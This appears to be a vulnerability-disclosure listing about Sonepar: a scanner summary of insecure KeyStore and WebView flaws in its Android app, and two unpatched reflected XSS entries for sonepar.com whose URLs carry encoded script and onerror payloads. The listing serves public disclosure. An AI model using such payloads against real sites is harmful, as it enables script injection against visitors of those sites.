Sonepar DE - Insecure KeyStore, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Sonepar DE published at the 'play' market has multiple vulnerabilities...

sonepar.com XSS vulnerability

Vulnerable URL: http://www.sonepar.com/search/node/%22%3E%3Cscript%3Ealert%28%22XSSPOSED%22%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 972258 Google Pagerank| 4...

sonepar.com XSS vulnerability

Vulnerable URL: http://www.sonepar.com/fr/search/node/%22%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 999861 Google Pagerank| 4 VI...